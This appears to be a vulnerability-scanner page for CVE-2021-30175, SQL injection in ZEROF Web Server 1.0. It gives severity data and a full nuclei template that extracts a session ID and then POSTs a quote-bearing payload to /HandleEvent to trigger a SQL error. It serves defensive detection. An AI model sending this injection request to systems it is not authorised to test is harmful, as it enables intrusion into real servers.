ZEROF Web Server 1.0 - SQL Injection

criticalseverity

9.8CVSS score

8.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0.

How to confirm it

Send: GET /
Positive when: contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>") and status_code == 200
Send: POST /HandleEvent
Positive when: contains "You have an error in your SQL syntax" AND contains in header "ZEROF" AND status 200

Run it with nuclei: nuclei -id CVE-2021-30175 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-30175

info:
  name: ZEROF Web Server 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0.
  reference:
    - https://github.com/awillix/research/blob/main/cve/CVE-2021-30175.md
    - https://pro.zerof.ru
    - https://github.com/awillix/research
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30175
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30175
    cwe-id: CWE-89
    epss-score: 0.08548
    epss-percentile: 0.95105
    cpe: cpe:2.3:a:zerof:web_server:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zerof
    product: web_server
    shodan-query: cpe:"cpe:2.3:a:google:web_server"
  tags: cve2021,cve,zerof,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "_S_ID", "<title>ZEROF Web Server</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: s_id
        internal: true
        group: 1
        regex:
          - '_S_ID="_S_ID=(.*?)";'

  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Ajax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&"_fp_=_S_ID={{s_id}}&O33=%020%02%02'&O37=%020%02%02fff"&_seq_=2&_uo_=O

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from